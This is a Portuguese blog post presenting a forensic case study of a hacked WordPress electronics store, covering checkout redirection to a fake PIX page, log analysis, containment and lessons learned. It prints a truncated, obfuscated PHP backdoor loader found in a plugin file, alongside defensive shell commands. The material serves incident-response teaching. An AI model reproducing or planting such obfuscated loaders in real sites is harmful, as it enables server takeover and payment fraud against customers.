Cenário

Uma empresa de e-commerce especializada na venda de eletrônicos percebeu uma série de transações fraudulentas e acessos suspeitos ao seu painel administrativo. Relatos de clientes indicavam que, ao tentarem finalizar compras, eram redirecionados para uma página falsa solicitando pagamento via PIX.

Diante da gravidade da situação, a equipe de segurança cibernética foi acionada para uma investigação forense no servidor.


Fase 1: Identificação dos Primeiros Indícios

1.1. Relatos e Comportamento Suspeito

Os principais sintomas do ataque foram:

  • Redirecionamento no checkout para um site fraudulento.
  • Alteração dos métodos de pagamento, com a exclusão de opções tradicionais.
  • Acesso irregular ao painel administrativo do e-commerce.

1.2. Análise dos Logs do Servidor

O time de segurança acessou os logs do servidor para identificar acessos suspeitos. Com o seguinte comando Linux:

shCopiarEditargrep "POST\|GET" /var/log/nginx/access.log | tail -n 50

Foram encontrados acessos a um arquivo desconhecido:

swiftCopiarEditar192.168.1.105 - - [11/Mar/2025:12:45:32 +0000] "GET /checkout.php?payment=custom HTTP/1.1" 200
45.89.32.156 - - [11/Mar/2025:12:50:05 +0000] "GET /wp-content/plugins/payment-gateway/custom.php HTTP/1.1" 200

🔎 Descoberta Inicial:
O arquivo custom.php dentro do diretório do plugin de pagamento parecia ser uma peça-chave no ataque.


Fase 2: Análise do Código Malicioso

Ao examinar o arquivo custom.php, a equipe encontrou um código PHP altamente ofuscado, similar ao seguinte:

phpCopiarEditar<?php 
$awvjtnz = 'fmhpph#)zbssb!...(código truncado)...jx273qj%6<*Y%)fnbozcYufhA...';
$vgkbclh = explode(chr((636-516)), substr($awvjtnz, (29027-23007), (198-164))); 
$jdxccsyh = $vgkbclh[0]($vgkbclh[(7-6)]); 
$nkttprcq = $vgkbclh[0]($vgkbclh[(7-5)]); 

if (!function_exists('huqbsiykq')) { 
    function huqbsiykq($ewjaowa, $ppcmgty, $euscsfo) { 
        $rputetgcppb = NULL; 
        for ($blvfkqsfhf=0; $blvfkqsfhf<(sizeof($ewjaowa)/2); $blvfkqsfhf++) { 
            $rputetgcppb .= substr($ppcmgty, $ewjaowa[($blvfkqsfhf*2)], $ewjaowa[($blvfkqsfhf*2)+(7-6)]); 
        } 
        return $euscsfo(chr((34-25)), chr((531-439)), $rputetgcppb); 
    }; 
}

$xozybdtes = explode(chr((213-169)), '3371,36,157,63,3931,36,2709,44,5708...');
$ympifwn = $jdxccsyh("", huqbsiykq($xozybdtes, $awvjtnz, $nkttprcq)); 
$jdxccsyh = $awvjtnz; 
$ympifwn(""); 
$ympifwn = (599-478); 
$awvjtnz = $ympifwn-1;
?>

2.1. O que esse código faz?

  1. Ofuscação extrema: O código utiliza strings obfuscadas e operações matemáticas para esconder sua funcionalidade real.
  2. Execução dinâmica: Trechos como $jdxccsyh("", huqbsiykq(...)) indicam que funções são criadas e executadas dinamicamente.
  3. Backdoor para execução remota: Funções como huqbsiykq() permitem que um atacante envie código arbitrário para ser executado no servidor.
  4. Exploração de vulnerabilidades: O código foi inserido em um diretório de plugin (payment-gateway/), indicando um exploit de upload malicioso.

Fase 3: Contenção e Remoção da Ameaça

3.1. Isolamento do Servidor

  • Modo de manutenção ativado para evitar novos acessos maliciosos.
  • Bloqueio de IPs suspeitos via firewall: shCopiarEditariptables -A INPUT -s 45.89.32.156 -j DROP

3.2. Identificação de Arquivos Maliciosos

O seguinte comando foi executado para localizar outros arquivos infectados:

shCopiarEditarfind /var/www/html -type f -mtime -5

🔎 Descoberta:
Além do custom.php, outros arquivos no diretório wp-content/uploads foram identificados com código PHP suspeito.

3.3. Remoção e Mitigação

  • Os arquivos maliciosos foram deletados.
  • Reinstalação do plugin comprometido a partir da fonte oficial.
  • Senhas de banco de dados e acessos administrativos foram redefinidas.

Fase 4: Investigação da Porta de Entrada

4.1. Como o código foi injetado?

Uma varredura no servidor revelou que um exploit conhecido no plugin “payment-gateway” foi utilizado. O atacante conseguiu enviar arquivos PHP maliciosos para o servidor por meio de um upload não filtrado.

4.2. Logs Forenses

O comando abaixo foi usado para localizar uploads recentes:

shCopiarEditargrep "POST" /var/log/nginx/access.log | grep "upload"

🔎 Evidência encontrada:

cssCopiarEditar45.89.32.156 - - [11/Mar/2025:12:30:45 +0000] "POST /wp-content/plugins/payment-gateway/upload.php HTTP/1.1" 200

Isso confirmou que o atacante explorou uma falha de upload no plugin.


Fase 5: Lições Aprendidas e Prevenção

Impacto do Ataque

  • Dados de clientes comprometidos:
    O atacante pode ter capturado informações de pagamento antes da detecção.
  • Manipulação do checkout:
    O redirecionamento levou clientes a pagarem para um fraudador.

Medidas de Segurança Implementadas

Revisão de permissões de arquivos para evitar uploads PHP não autorizados.
Instalação de um WAF (Web Application Firewall) para detectar novas tentativas de ataque.
Monitoramento contínuo via SIEM para alertar sobre atividades suspeitas.
Auditoria regular de plugins e temas para evitar vulnerabilidades exploráveis.
Autenticação multifator (MFA) ativada no painel administrativo.

🚨 Conclusão:
O ataque explorou uma falha em um plugin desatualizado e foi rapidamente mitigado. O caso reforça a importância da segurança preventiva e do monitoramento contínuo em ambientes de e-commerce.

Leave a Reply

Your email address will not be published. Required fields are marked *